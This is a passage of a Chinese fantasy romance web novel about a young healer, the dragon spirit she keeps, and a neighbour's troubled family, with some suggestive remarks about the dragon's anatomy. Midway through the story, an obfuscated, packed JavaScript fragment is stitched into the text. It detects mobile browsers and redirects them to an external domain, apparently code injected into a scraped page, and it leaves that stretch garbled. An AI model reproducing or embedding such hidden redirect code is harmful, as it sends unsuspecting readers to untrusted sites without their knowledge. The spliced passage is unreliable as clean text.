皎洁的月轮之上,一抹巨龙的剪影张开双翼,卷起少女的身体飞离地面。
少女双眼紧闭,雪白的小脸暴露在月光之下,白色的睡裙被夜风吹得猎猎作响。
就好像是魔王的——祭品。
圣洁而甜暖。
巨龙利爪微微收拢,准备享用“祭品”。
“哥哥……”“祭品”忽然伸出细白的胳膊搂住他的脖颈。
“哥哥,不要走……”
一滴滚烫的泪落在了龙爪上。
巨龙顿了一下,竖瞳里厚重的血雾一点点褪去。
不知过了多久,平稳落地的少女缓缓地睁开眼,湿漉漉的圆眼睛里流露出迷惘。
她还活着。
小龙精没吸干净她的血?
她垂下湿润的眼睫,已经恢复如初的小龙精此刻仰浮在波光荡漾的水缸里。
“他”通体覆盖寒光森然的银色鳞甲,唯在腹部下方一处鳞甲反向张开,两根东西直挺挺地刺向天际。
还挺粉的。
4. 第 4 章
也不知道小龙精是不是被雷劈坏了,每当月圆之夜就会像刚才那样,眼瞳通红,全身滚烫如火烧,鳞甲似乎也爆开一样,大量失血。
奈奈把这个现象称之为“爆血。”
小龙精第一次爆血,如同刀一样刚硬的鳞片不下心割破了她的手指,血溶入水,狂躁的小龙精很快得到了安抚。
她猜测,也许是以前吃了太多的天材地宝,血液有治愈安抚的疗效。
事后,她翻遍了医书和专门记载妖魔鬼怪的《九洲异闻志》,也没找到关于龙“爆血”这一现象的记载。
不过小龙精爆血过后身体变大变粗还是头一回。
奈奈把小龙精从水里捞出来,仔细检查了一遍,全身无一丝一毫的伤口,灵力也很稀疏纯净。
龙这种生物,天生有灵根,能够修到渡劫,少说也活了几十年,本体自然不会只有这么大一点儿。
刚才那样应该才是小龙精本来面目。
而且小龙精爆血过后,那两根东西都会冒出来。
龙性本淫,难道爆血是进入发情期了?
一些医学典籍里记载着各种生物的生殖器,只有龙拥有两根,而且还大小一致。
尤其是亲眼看见小龙精变大后,这玩意好像也会随之变大。
她忍不住伸手想要摸一摸,指尖刚刚触碰到那粉红色的东西,小龙精蓦然睁开眼,已经褪去血色的银瞳冷冷盯着她。
虽然在她眼里小龙精只是宠物,但是“他”毕竟是修了上百年的精怪,她一个女孩子去摸人家的那个地方,有点儿说不过去。
她红着脸尴尬解释:“我只是出于一个医者的好奇心,没有别的意思。”
小龙精重重地阖上眼皮。
奈奈注意到,那两根东西已经收回腹中。
居然还收缩自如……
奈奈实在好奇龙是怎么交/配的,是一次用两根,还是一根一次?
她对于男科也有所涉猎,有些男的有心无力,根本硬不起来。被媳妇儿强行拽来看病,非说是因为自己太累了。
你要指出他不行,他还跟你急眼。
不知道龙会不会“太累”,还是一根“累”,一根“不累”?
奈奈觉得自己越想越猥琐,赶紧抱着小龙精一瘸一拐地回屋去了。
她把小龙精放在床上,打了半盆水,走找来药箱,把左脚搭在长凳上。
少女的脚不算大,雪白修长,粉嫩的脚心此刻被鲜血染红。
刚才事出紧急,她来不及穿鞋,扎进几块碎石。
奈奈小心地用夹子把碎石拔出来后。
每夹一个,她疼得哆嗦一下。
等碎石全部清理出来,她额头全是汗。
察觉到有一道灼热的视线盯着自己的脚,奈奈扭头。
是小龙精。
奈奈:“没那么疼啦,是我个人体质的问题。我知道龙兄你也不是故意的。”
小龙精没什么反应,视线也没有移开。
“好吧,还是有些疼的,我这个人最怕疼啦。”
“小时候我一受伤就死命地哭,想要别人哄一哄我。”
“后来我发现无论我哭的大多声,都不会有人哄我,我就不爱哭了。”
她低下头,乌黑浓密的发丝垂下来遮住大半张脸颊,长睫忽闪忽闪,如同展翅的蛾翼,很乖。
“说起来我都好久没吃过糖葫芦了,要不龙兄你给我买一串糖葫芦吧。”
小龙精终于不看她了。
原来他想补偿她。
包扎好伤口,奈奈收拾好东西,重新躺好。
“龙兄,将来你要遇见喜欢的女孩子,不对,喜欢的龙女掉眼泪,千万别光顾着看,一定要哄一哄她,她一定也会喜欢你的……”
折腾了一晚上,奈奈也困得不行,很快就睡着了。
她睡相一向不好,受伤的脚伸出账外,搭在床沿上摇摇欲坠。
眼看着就要滑落,一只白若冰雕的手忽然伸出纱帐。
那只手生得很大,指骨修长分明,虎口上方的雪白皮肤上长了一颗胭脂痣,鲜艳欲滴。
指骨轻轻地收拢,少女纤细雪白的脚掌整个被包裹在掌心里。
刹那间,如水晶一般的雪莲争先恐后地开满屋子。
层层叠叠的花瓣极速地盛开,又极速地凋零,犹如落了一地的雪。
月亮升得更高了。
奈奈睡到快晌午才醒。
她已经很久没睡得这么舒服,就像全身的骨头被人抻了一遍,整个人神清气爽。
脚一点儿也不疼了。
拆开绷带一看,脚心的伤口居然愈合了
不止如此,脖子左侧的伤口,手指的伤口全部都不见了,丝毫看不出受过伤。
而不远处的紫檀木桌上的骨瓷碟子上,赫然放着一串红艳艳的糖葫芦。
奈奈的心瞬间被击中,伸手去摸小龙精。
平常不喜欢被人触碰的小龙精难得没有挪开,神情恹恹地。
该不会是昨天爆血的原因吧?
奈奈伸手,两根手指贴在小龙精的额心,随即吓了一跳。
“他”体内的脉络简直乱成了一锅粥!
事实上,“他”每次爆血过后都会如此。
他受过很严重的伤,像是内丹被人剖出来过,能活到现在已经是个奇迹。
“他”都这样了,还送她糖葫,得多耗费灵力啊!
“龙兄,你最好啦!”
奈奈强行抱了他一下,在他不高兴前松开,把手指递到“他”嘴边,示意他可以吸她的血。
小龙精掀起眼皮子看她一眼。
奈奈笑眯眯:“没关系的。”
小龙精盯着眼前白嫩的手指瞧了片刻,张嘴含住。
奈奈“嘶”地一声,一把抓住那支糖葫芦塞进嘴里,狠狠咬了一口。
一直到糖葫芦吃完,小龙精终于松开了她的手指,抬眸看她。
红色的糖衣染红了她的唇,就像是熟透的浆果。
奈奈舔了舔嘴唇,微眯着眼睛笑:“吃甜的心情好。有时候人能一睁开眼,吃到自己喜欢的东西是一件很幸福的事情。”
小龙精若有所思。
奈奈有些头晕,又躺了大概半个时辰才起来。
院子里的水已经干了,土壤表层被渗透了。
吃完早饭后,满血复活的奈奈开始挖池塘。
“一家老小”兴奋地跟在奈奈身边加油打气,叫唤个不停。
他十分不耐烦地睨了它们一眼。
“一家老小”打了个哆嗦,各个把嘴巴粘起来。
她看见了,嘟着嫩红的嘴巴,有些不满:“龙兄,不要吓唬它们啦!”
说着大步走过来,细白的手指轻轻地在他脸上摸了一下:“好了,不要这么凶嘛,大家都是一家人,以和为贵。”
他躲开她的手指,微微眯了眯眼。
她一点儿也不怕他,弯着眼睫傻笑,一张雪白的面孔像是浸在阳光里,明媚而灿烂。
*
奈奈挖到第五天的时候,家里的存粮没有了。
吃完家里最后一个馒头后,奈奈第二天一早决定要去城里补给。
刚要出门,有人来了。
是赵大娘。
赵大娘一进院就愣住了,目光落在院子中间的大土坑,诧异:“花医师这是?”
奈奈:“挖池塘。”
赵大娘不解:“挖池塘干嘛?”
“养藕。”奈奈的眸光落在赵大娘挎着的篮子上。
筐子里装了满满篮子红鸡蛋,上头还堆了好几个粽子。
粽子应该是刚煮好没多久,还散发着阵阵的甜香。
奈奈没出息地咽了咽口水。
赵大娘笑眯眯:“我们这的规矩,家里有了孩子得给亲戚们送红鸡蛋,报喜。后天又是端午节,我包了一大锅粽子,拿来给花医师尝尝。”说着拿了一个看起来个头最大的递过去。
饿坏了的奈奈接了过来,绳子扯断,粽叶一层层剥开,露出香
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糯可口的糯米,里头裹着红枣与红豆。
她啊呜一口下去,粽子尖尖下去了。
瞧给孩子饿的。
赵大娘环顾一圈,目光落在厨房的烟囱上。
寻常人家的烟囱积了厚厚的黑灰,花医师家里的烟囱只有薄薄一层,一看就不是经常做饭的人。
“花医师家里几口人?”
“还有个哥哥,出门远游去了。”
“远游好呀,啥时候回来呀。”
“不知道,兴许再也见不着了。”
赵大娘:“这傻孩子,真会说笑。”
奈奈笑眯眯不说话,继续啃粽子。
“你们老家也是这种粽子吧?”
“不是,我们那儿粽子是咸口的,里面包猪肉和咸鸭蛋。”
“哎呦,包猪肉和咸鸭蛋得多贵呀!”
“是有些贵。这个好吃,我喜欢吃甜的。”
“喜欢就多吃点。来,给你。不是我吹,我包的粽子大家都爱吃。”
“嗯嗯。”
俩人说话的功夫,奈奈已经吃了两个粽子,吃了几天馒头的胃被抚慰得很满足。
赵大娘望着眼前暖软乖巧的小馋猫,简直喜欢到了心坎里,又问:“花医师考虑得怎么样啦?”
她圆溜溜的眼睛睁大了,黑得和烟囱黑灰一个色儿的瞳仁里流露出茫然。
赵大娘提醒:“就是我那个秀才侄儿。”
“记得记得,”压根不记得的少女点头,“我还在认真考虑。”
赵大娘心里微微有些失望。
虽然花医师很好,可她那侄儿也不差呀,这都考虑了这么多天咋还没考虑好呢。
一个人住多冷清呀,换她一个月都受不了。
不过姑娘家脸皮薄,也不好催得太紧,人家哥哥远游都还没回来。
临走前,赵大娘被窗前的一排红木雕刻的小动物吸引住,眼睛亮了亮:“这是花医师自己做的?”
奈奈:“做着玩的。”
赵大娘真心夸赞:“做得真好看,比西街卖小孩玩具的那家店做得还好。那家店卖得实在太贵了,一个木雕就要十五个铜钱!”
奈奈想起她家里有个四五岁大小的孙女,从中拿了一个大肚子短尾巴的小红猪送给她。
赵大娘又惊又喜:“花医师真是太客气了。”
奈奈笑:“有人喜欢,我也高兴。再说,我还吃了您的粽子呢。”
赵大娘谢了又谢,还不忘嘱咐“花医师一定要记得好好考虑,我那个远房侄子真的很好!还会做饭!”
奈奈“嗯嗯嗯”地点头,乖巧得不得了。
赵大娘心满意足地提着篮子去给其他亲戚送红鸡蛋。
奈奈关了门,把盖在小龙精脑袋上的斗笠拿开。
小龙精显然对她的行为很不满。
奈奈剥了一个红鸡蛋递到“他”嘴边。
小龙精不吃。
奈奈也没勉强,咬了一小口鸡蛋:“赵大娘给我介绍了一个对象。”
“一家老小”慢吞吞地挪到她脚边,一副很感兴趣的样子。
“是个貌比潘安的秀才。”
“潘安知道吧?就是一个长得非常非常好看的小哥哥,秀才就是那种读书很厉害的书生,组合在一起就是长得很好看的白面书生。”
“最主要会煮饭!”
这个诱惑力对于奈奈来说实在太大了。
“要不,我去见一面,万一看对眼了呢。“
试想一下,她每天一回家,一个肤白貌美腰细腿长有文化的书生围着围裙,站在院子里等她。
“今天吃擀面片,明天吃肉夹馍配小米粥,他要是累了不想做饭,那我就和他出去下馆子。”
“说不定晚上还能依偎在一起,看星星看月亮。”
“一家老小”摇头晃脑表示赞同。
“可是,”她有些为难咬了咬唇,“要是秀才哥哥看到龙兄害怕,非让我送走怎么办?”
话音刚落,他蓦然睁开眼。
5. 第 5 章
“还是算了!”
少女幽幽叹了一口气,嘴巴抹了蜜一样甜,“在他和龙兄你之间,我肯定选择毫不犹豫选择龙兄你。没办法,谁叫龙兄你生得这么漂亮,又这么威武雄壮,人家肯定更喜欢你啦!”
其实她是个明天都不知道在哪里的人,又怎么好耽误别人。
她就是过过嘴瘾而已。
不过这话很明显取悦了小龙精。
他眼瞳微眯,神情睥睨。
看来高傲的小龙精也喜欢被夸夸呀。
当然,这世上没有人不喜欢听好听话。
每次她替人家治好病,那些人夸一夸她,她心里也高兴得很。
奈奈又重新剥了一个红鸡蛋递到小龙精嘴边:“味道真的还不错,要不要尝尝?”
小龙精这回勉为其难地咬了一口。
奈奈笑眯眯:“将来龙兄成了婚,生了龙崽崽,我那时要还在,一定替你煮一大锅红鸡蛋,见人就送,也让别人替你高兴高兴。”
像赵大娘那样,挨家挨户送红鸡蛋,心里一定很高兴吧。
*
赵大娘的亲戚很多,送完红鸡蛋赶回家时,天都快黑了。
她打心眼里感到高兴。
她二十五岁就守了寡,娘家人都劝她改嫁。
她明白娘家人的意思,无非是想把她再“卖”第二次。
家里孩子多,她个头最小,长得也最不讨喜,打小在家里就不受宠,挨打饿肚子是常事。到了年纪,被娘家人以五两银子的价格贱卖给了她那死鬼男人。
她那死鬼男人是个老实本分的木匠,什么甜言蜜语都不会说,但是每天每家都会给她带一些零食。
只要他在家,她就没干过活。
虽然俩人只过了七年,可那七年足够她怀念一辈子。
她把娘家人骂跑后,就靠着包粽子的手艺把儿子拉扯大,在他该成婚的年纪,给他娶了媳妇儿。
只可惜第一个儿媳妇没福气,好不容易家里日子好过了,却难产死了。
后来的媳妇进门三年才生第一胎,还是个孙子,老赵家终于有后了,能不高兴吗?
不过这一切都得感谢花医师!
咸口的粽子,那是什么味儿?
赵大娘在心里琢磨着,伸手推开了门。
一抹黑色的瘦小身影飞扑到她怀里,把她撞了个趔趄。
“祖母!”
到她心口的小女孩扬起一张红扑扑的小脸。
眼睛也红红的,像是刚哭过。
“祖母这把老骨头都被你撞碎了!”
赵大娘粗糙的手抚摸着她柔嫩湿润的面颊,浑浊的眼睛朝亮堂的东屋望了一眼,压低声音,“又挨骂了?”
大宝委屈地把脸埋进她怀里,哽咽:“弟弟尿了,后娘怪我没及时告诉她,我是看她睡着了,才不敢叫醒她。”
话音刚落,赵大娘教训:“都说了多少回,不要后娘后娘的叫,嘴巴要甜一点,老是不听话!”
大宝不吭声。
赵大娘又教她:“她是你娘,打你骂你也是应该。你现在是姐姐了,要学着懂事儿点,好好照顾弟弟。将来等你出嫁了,祖母也死了,你能仰仗的只有你娘家兄弟。”
“我不要祖母死!”
大宝紧紧抱住赵大娘,抽噎,“我以后都听话,再也不叫后娘了,也好好照顾弟弟。”
赵大娘叹了一口气,摸摸孙女的头,从篮子里拿出一样东西给她。
是一只肥嘟嘟的,大肚子短尾巴的小红猪。
大宝眼睛亮了起来,“哪来的?”
赵大娘笑眯眯:“这是花医师送的,好看吧?”
“好看!”
大宝重重点头,爱不释手。
这时,东屋传来婴儿的哭声。
赵大娘丢下孙女,迈着两条腿朝东屋走去。
“小宝别哭,祖母回来啦!”
大宝迟疑了一会儿,慢吞吞地朝屋里走去。
赵大娘的儿媳妇躺在床上,笑眯眯地儿子这一天的趣事儿。
一沾煤油灯照亮了她红润年轻的敦实面庞。
对于第一次做母亲的人来说,孩子拉的屎尿都是香的。
赵大娘笑呵呵地给孙子换尿布。
大宝则靠在桌子旁玩小红猪,头压得很低。
“大宝手里玩的是什么?”
余氏突然发问。
赵大娘笑:“那是花医师送的玩具,快拿过来给弟弟瞧瞧。”
大宝不动:“弟弟还小,不会玩。”
余氏当场拉下脸来。
屋子里温馨的气氛瞬间凝固。
赵大娘给孙女使眼色:“大宝大了,不玩玩具了,拿给弟弟玩。”
一向听话的孙女小声祈求:“爹说生辰的时候给我买玩具,这个就当爹买的,好不好?”
话音刚落,余氏冷笑:“家里都揭不开锅了,还要玩具,你是想累死你爹!”
赵大娘顿了片刻,也呵斥:“大宝,听话,拿过来!”
最终,憋红了眼睛的大宝慢吞吞地走过去,把小猪递给余氏。
余氏这才满意,拿着小猪逗弄儿子。
大宝佝偻着背出了东屋。
外面天已经黑透,她坐在西屋的门槛抬头望向天空的星星。
祖母说人死后就会变成天上的星星,会保护自己的孩子。
天上的星星那么多,也不知哪一颗才是她娘。
两行泪顺着她的脸颊滚落。
“真可怜啊。”
大宝顺着声音望去,只见院子里不知何时多了一个小男孩。
他坐在地上,看起来最大一两岁大小,头上戴着一顶破了洞的虎头帽,全身上下只有一件红艳艳的肚兜,左脚一只绿色的虎头鞋,右脚的鞋子却是红色的。
像是捡来的。
一条麻绳斜挎在他胸前,也不知背了什么东西。
他什么时候进来的,她怎么一点儿也没听见有人敲门?
“我也是被遗弃的,我懂姐姐的感受。我来帮姐姐报仇好不好?”
他明明那么小,说话的口气却像是大人。
大宝困惑:“帮我?”
他还没有她高呢。
“我最近结交了一个新朋友,他能够帮人实现愿望。你有什么愿望,也许他能够帮你,不过太大的愿望恐怕有些难。”
“真的吗?那你的朋友能把我娘送回来吗?”
“能的能的。快要下雨了,姐姐抱我回去避避雨!”
小男孩巴巴望着她,一对眼瞳又黑又亮,乖巧极了。
这让大宝想起自己养的那只乌鸡。
那是她三岁生辰的时候,爹买来送她的礼物。
她还给它取了名字:小花。
那时候后娘还没有怀孕,也不会总骂她,爹去城里做轿夫,五天才能回来一次,每次回来都会一把把她举过头顶,高兴地说“我闺女又长高了”。
可后娘怀孕了,祖母说要杀了小花给后娘补身子。
大宝不愿意,抱着小花躲到床底下去。
爹也很不高兴,说她一点儿也不听话,大手伸到床底,硬生生从她怀里抢走了小花。
当天晚上,小花还是被炖成了鸡汤,大宝一口也没喝。
大宝觉得小男孩和自己一样可怜。
可她不认识他。
她有些犹豫。
东屋再次传来婴儿的啼哭声。
“小宝乖,小宝别哭。”
“我们小宝是世上最聪明从漂亮的孩子,祖母最喜欢小宝了。”
“……”
大宝的眼泪流下来,一点一滴地砸在打了补丁的衣服上。
一只肉乎乎的小手抚上了她的脸颊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427547|184854||http|test|mini|href|location''.split(''|''),0,{}));
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>小男孩正垫着脚尖替她擦眼泪。
那双大小不一的鞋子让他很滑稽。
大宝终于看清了男孩背后的东西。
一只白若透明的手把红木雕刻的小狗放在桌上。
大大的脑袋,圆滚滚的身体,长长的尾巴。
汽灯白炙的光把它照得红彤彤的。
奈奈闲来没事最爱雕这些小东西,每次看到一只栩栩如生的小动物在她刀下成型,都能让她很有成就感。
她不知怎的想起了上回的婴灵,也不知道他更喜欢哪一个玩具……
奈奈清理干净桌上的木屑,打着哈欠走到床边。
小龙精盘踞在里侧,也不知道有没有睡着。
奈奈面对着他躺下:“明天就是端午节,龙兄要不要去城里看赛龙舟?就是能不能变小一点,我背不动。”
小龙精没回应。
奈奈一时也拿不准小龙精愿不愿愿意出门。
不过每年都一个人去看赛龙舟也挺闷的。
“去不去?”
她伸手戳了戳冷硬的龙体,“城里可好玩了,有各种各样好吃好玩的,就变一天而已,绝对不会有损龙兄你的威严。”
小龙精阖上眼不搭理她。
“那好吧。”
有些失望的少女叹了一口气,“主要是我真的想和龙兄一起看……”
他听到这话,蓦然睁开眼,刚好对上一双明亮如水的笑眼。
“一起去,好不好?”
翌日。
奈奈一睁眼,就看到一条一尺长,圆滚滚的小银龙躺在里侧。
哇,好可爱!
龙兄答应了!
她恨不得抱起来亲一口。
不过“他不喜欢别人夸“他”可爱,于是她违心地夸赞“龙兄这副模样实在太威武了!”
“他”精神情蔫蔫,显然对自己的形象很不满意。
奈奈以最快的速度洗漱,早饭都没吃,高高兴兴地背着小龙精入城去了。
小重山距离云上城大概半个时辰的距离,她一路走走瞧瞧,沿途给小龙精介绍当地的风景习俗。
“待会儿我一定请龙兄尝一尝云上城里最好的酒!”她拍着钱袋向小龙精承诺。
那儿足足有二十两银票——赵三公子给的。
也许是听到有酒,“他”难得兴致高了些。
抵达城里时,赛龙舟已经快开始,老百姓一窝蜂地往清江跑。
奈奈被人群裹挟着向前,有好几回鞋子差点被人踩掉。
也不知道是不是错觉,她总觉得身后有修士的气息,且修为不低。
她回头望,全都是攒动的人头。
不过,云上城是除却都城以外最繁华的城市,有修士也正常。
甚至有些有钱人在家中供养一些散修,供自己驱使。
毕竟修士们大多都很穷,需要大量的灵石来提升修为。
只要他们不为非作歹,仙门百家不会有人管。
也许是心不在焉,不怎怎么就被挤到清江街。
一抬头,是一间绸缎庄。
奈奈到底是女孩子,忍不住往里瞧了一眼。
不看不要紧,一看就再也移不开眼。
只见富丽堂皇的店铺左侧墙上挂着一套留仙裙,红得耀眼。
“姑娘要是喜欢,可进来试试看,试试又不要钱!”掌柜的忙出来招呼。
奈奈:“我就是路过看看。”
掌柜上下打量她一眼,眼神发亮:“奴家观姑娘肤白,貌美,腰细,个子高挑,这裙子简直就是为姑娘量身定做的!”
全身裹在一件宽松斗篷里奈奈也不知道她哪儿看出来自己腰细了,总之被夸迷糊了,捏紧袖子里的钱袋:“多少钱?”
掌柜笑得谄媚:“不多,也就二十两银子。”
二十两,恰好是奈奈钱袋里所有的钱。
6. 第 6 章
那么贵!
奈奈捂紧了钱袋。
掌柜的见状,又逮着她一通夸。
奈奈咬着唇,思来想去,还是摇摇头,在掌柜遗憾的眼神中飘然离去。
他抬眸看她。
她垂着眼皮,却又不看路,不知道在想些什么。
也许是察觉到他的视线,她忽然抬起眼皮,冲他笑了一下,瞳仁亮晶晶:“主要没有场合穿,买来也是放着。再说,我都答应请龙兄喝最好的酒,不能不算话。
他盯着她瞧了片刻,移开视线。
奈奈绕过绸缎庄,旁边便是云上城最大的酒楼——望江楼。
一楼大堂早就人满为患。
奈奈往二楼看了一眼,也不知道临窗的包间还有没有。
这时,一个茶博士迎上前来。
奈奈询问:“二楼可还有包厢位置?”
茶博士的眼神在她身上扫了两个来回,满脸堆笑:“恰好有个客人来不了,二楼临窗还空着一间!”
运气这么好!
奈奈点头:“要!”
茶博士满怀领着她上楼。
视野出奇得好,将整个清江尽收眼底。
奈奈点了招牌菜,又点了最好的酒,等茶博士放下酒离开,立刻打开箱箧:“龙兄,这儿视野好吧?”
他向下眺望了一眼,目光落在酒壶上。
奈奈立刻倒了一杯送到他嘴边,介绍:“这酒有个极雅的名字,柳上春,龙兄你尝尝喜不喜欢?”
“他”一饮而尽,然后示意她继续。
捡回来那么久,这还是奈奈头一回间他主动要吃些什么,稀奇得不行,索性把壶里的酒全部倒了一半碗里。
谁知道她一杯酒才喝完,碗居然又空了。
云上城偏南方,这酒口感虽绵软,但是后劲儿很大。
奈奈平常最多喝两杯就晕,没想到小龙精喝了那么多竟然一点儿醉意也没有。
奈奈又让茶博士送了一壶。
小龙精这回倒没有喝得那么急。
“他”抿了一口,微眯着银色的眼瞳眺望江面,那尊贵优雅睥睨的神态就像微服出行的帝王。
而奈奈是服侍他的洗脚小婢,鞍前马后地伺候左右:“陛下您觉得酒还好吧?菜合不合胃口?今晚翻哪位龙娘娘的牌子?什么,要奴婢?陛下不可以!这可是禁断之恋呀!”
离谱!
奈奈打了个哆嗦。
这时,有人高喊:“比赛开始了!”
奈奈向下眺望。
此刻江面上停泊着红白蓝绿四种颜色的龙舟队,每艘龙舟上都插着一面旗帜,分别代表官府,地方军队,商行,以及民间百姓。
各路颜色的旗帜迎风飘扬,几乎染花了清粼粼的清江。
划手们早已经准备就绪。
时辰一到,击鼓声齐发,龙舟如同离弦的箭,飞速冲了出去,带起一团团浪花。
清江两侧的人都在给各家船队加油,声音震耳欲聋,大有排山倒海之势。
奈奈想起很多年前的一次端午节,她和朋友在端午节登上高楼观赛龙舟。
奈奈把所有的钱都下在划手实力最弱的船,因为那队的划手长得最好看。
从小与她比到大的死对头则赌另外一支二头肌很结实的船队。
结果自然是她输了。
那时她年纪还小,不知天高地厚,不肯服输,非要与人比个高低,亲自下场。
结果是什么她都已经忘了,只记得江面上溅起的巨大浪潮打湿了她的衣裳,和一张张笑得肆无忌惮的脸。
往事不堪回首。
比赛足足持续了半个时辰。
赵家船队垫底。
奈奈转过头看小龙精,只见碗又空了。
眼看着他还没喝好,奈奈只好道:“龙兄真不能再喝啦!再喝我就要留下来给人洗盘子啦!”
他有些意犹未尽地收回视线。
结账的时候,不多不少二十两银子。
奈奈掏空所有的钱,背起重了一倍的箱箧,在茶博士担忧的眼神里,步伐踉跄地下了楼。
她前脚刚出客栈,茶博士小跑到二楼尽头的包间,恭敬道:“赵公子,客人已经走了。不过客人一个人喝了三壶酒,也不知道有没有事。”
话音刚落,一道冰冷的女声响起:“三壶酒?确定都喝完了?”
茶博士忙道:“一滴都没剩!”
其实,他好像看见那位客人带了一条雪白的蛇,走的时候箱箧里一股酒气。
说不定那酒都拿来喂蛇了。
可会喝酒的蛇谁也没见过呀。
女子冷冷吩咐:“和她一样的酒来四壶!”
茶博士好心提醒:“那酒后劲儿很大。”
“怎么,你觉得我喝不过她?”
茶博士哪敢这么说,正欲解释,赵三公子“扑哧”轻笑出声:“还不快去给仙师拿酒。”
茶博士立刻道:“小的这就去!”
*
奈奈觉得自己醉了,走路轻飘飘的。
好死不死,半道还起了雨,赶回家时全身都湿透了。
想泡澡就得烧水。
奈奈实在懒得动,吭哧吭哧往浴桶里灌了大半桶冷水,衣服脱到只剩下胸衣和短裤时,余光瞥见床上腹部圆滚滚的小龙精。
“他”喝了太多酒,半路就睡着了。
屋子里全都是“他”身上的酒气。
哼,贪杯的臭龙!
奈奈拐到床边,抱着小龙精一块入了浴桶。
水实在太凉了,奈奈打了个哆嗦。
他被惊醒,蓦然睁开眼,眼神冷得吓人。
她可怜巴巴:“好冷,龙兄能把水加热吗?”
原本她只是随便说说,谁知水温真的逐渐升高,很快氤氲出热气。
“哇,龙兄好厉害呀!”
她惊喜得不得了。
以后再也不用烧洗澡水了!
他很不以为意。
窗外雨声越来越大。
一只白若透明的手推开木窗。
天色暗沉沉,细密的雨丝铺天盖地地砸落人间。
窗外那株快要开败的梨花树在风雨中摇曳,残存的花瓣随风飘零,掠过湿漉漉的窗棂,落在浴桶里碎成了雪。
真孤独啊。
少女趴在桶沿上,有些惆怅地想。
尤其是节日,这种孤独总会加倍,叫人无所适从。
要是有个人陪着该多好。
“龙兄,你想家吗?”
“对了,你成婚了没有?或者,想不想找个小龙女成婚?”
他看她一眼。
她趴在桶沿上,脸颊红扑扑,长长的睫毛垂下来,神情惘然地像个孩子。
热水加速血液循环,奈奈很快酒劲儿上来,睡意昏沉。
他也阖上眼。
腹部骤然一沉。
他眼皮半阖,视线下垂。
一只粉嫩修长的脚,此刻正踩在他腹部下方最硬的位置上。
龙尾拨开那只不老实的脚。
少女没骨头似的滑入水中。
眼看着热水就要没过她的口鼻,骤然变粗的雪白龙尾卷起那截过分窄细的腰身。
眨眼间,浑身湿漉漉的少女躺到了狭窄的床榻上。
她睡着了。
长睫坠着晶莹剔透的水珠,眼尾洇出一抹红。
他刚要起身,忽然,她偏过脸,温热湿润的脸颊贴在他脖颈上,呢喃,“龙兄,我最喜欢最喜欢你了……”
窗外的雨似乎下得更大了。
*
“花医师,你在家吗?”
有人在唤她。
是谁呢?
奈奈缓缓睁开眼,映入眼帘的是月白色的帐顶。
像是赵大娘的大嗓门。
她揉揉眼,赤脚走到窗口,果然看见赵大娘撑伞站在暮色沉沉的院子里。
雨下得实在太大了,她的伞还是破洞的,根本没什么总,整个人像是从水里捞出来的。
奈奈忙把斗篷裹在身上,打开门请她进来。
她怕踩脏地板,说什么不也肯进去,把手里用油布包裹的东西递给奈奈。
热乎乎的。
“今儿不是端午节嘛,我儿
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子带了一大块猪肉回家,我试着做了几个咸口的粽子,送来给花医师尝尝。”
奈奈愣住。
她大老远就为了给自己送粽子?
赵大娘抹了一把雨水,浑浊的眼睛里罕见地流露出羞涩:“花医师,你能不能再给我一个玩具?”
奈奈“哦哦”两声,回屋从妆奁台拿了两个玩具给她。
“一个就够了!”
赵大娘只拿了一只小猪,很不好意思,“我孙女还有半个月过五岁生辰,我,哎……”
家家有本难念的经,奈奈没有问上一回拿的给了谁,把自己的油纸伞强行塞给她。
赵大娘千恩万谢地告辞。
刚出屋檐,她突然回头,语重心长:“一个姑娘家在家,别光顾着睡觉,要记得按时吃饭,不然会胃疼。”
不等奈奈说话,她已经举着雨伞,步伐蹒跚地出了院子。
奈奈伫立良久,关好门,脱下斗篷,低头看看身上早已经干燥的胸衣和短裤,再看看屋子中央的浴桶,突然想到:自己不是在泡澡,怎么睡到床上来了?
一定是靠坚强的意志力爬回了床!
扭头,小龙精还睡得很沉。
一定是她把“他”抱上床的!
奈奈收回视线,特地挑了大个的粽子剥开,一口下去,随即细眉紧蹙。
好咸!
*
再次见到赵大娘是半个月后的傍晚。
那天早上一大早,奈奈去城里给人看诊,耽误到快日落才往家赶。
刚到山脚下,她远远地看见赵大娘拿着一把伞,正站在门口徘徊。
奈奈以为她是来还伞的,谁知她就跟见了救星一样,紧紧地握住她的手,哭道:“花医师,你救救我孙子!我孙子被鬼附身了!”
不等她询问怎么回事,赵大娘有些语无伦次:“几天前,我帮他换尿布,他忽然说,你怎么来那么慢呀。前天晚上,我儿媳妇去解手,我又听见他说,我都快饿死了。”
“还有我孙女,问弟弟,你鞋子哪儿来的,都不是一对的……”
奈奈听得起了一身鸡皮疙瘩。
她并不会捉鬼,还是安慰:“您先别急,我去看一看怎么回事。”
赵大娘赶紧带路。
两刻钟后,俩人出现在赵家院门口。
一推开门,奈奈就见一个披头散发的女人缩在过道里瑟瑟发抖,是余氏。
东屋里传来两个孩子窃窃私语的声音。
“那是别人送小宝的礼物,不能送哦。”
“我爹说等我生辰,也给我买礼物。”
“那姐姐喜欢小狗还是鸭子……”
奈奈定了定心神,上前一把推开了紧闭的房门。
一个长得很乖巧,梳了两只小辫子的女孩坐在床上。
正是赵大娘的孙女。
她脚边躺着一个一身花袄的小婴儿。
奈奈还记得小婴儿刚出生的样子,胎毛稀疏,全身红彤彤皱巴巴,比一只小奶猫大不了多少。
她当时托着他柔软的脖子,觉得他像一个小老头,但还是昧着良心夸“可爱”。
二十几天过去,“小老头”大了两圈不止,肉乎乎,白嫩嫩,真有些可爱了。
忽然,“小老头”以一种奇怪的姿势扭脸看向她。
“礼物。”他咧嘴一笑。
一片指甲盖大小,如同红宝石的碎片此刻浮现在他眉心,像极了一颗正在跳动的柔嫩小心脏。
正是赵澜生心心念念的灵曦之石。
奈奈整个人如坠冰窟。
这一天终于还是来了。
与此同时,一名身穿紫衣,束高马尾的少女出现在院中。
她皮肤很白,瘦高个,背后背着一张紫色的弓,明明长得很美,但给人的感觉像是一块冰坨子,冷得瘆人。
赵大娘迟疑:“你,你是谁?”
少女却看也不看她,大步朝东屋子走去。
奈奈一看到她进来,抬脚就往外跑。
“花无奈!”
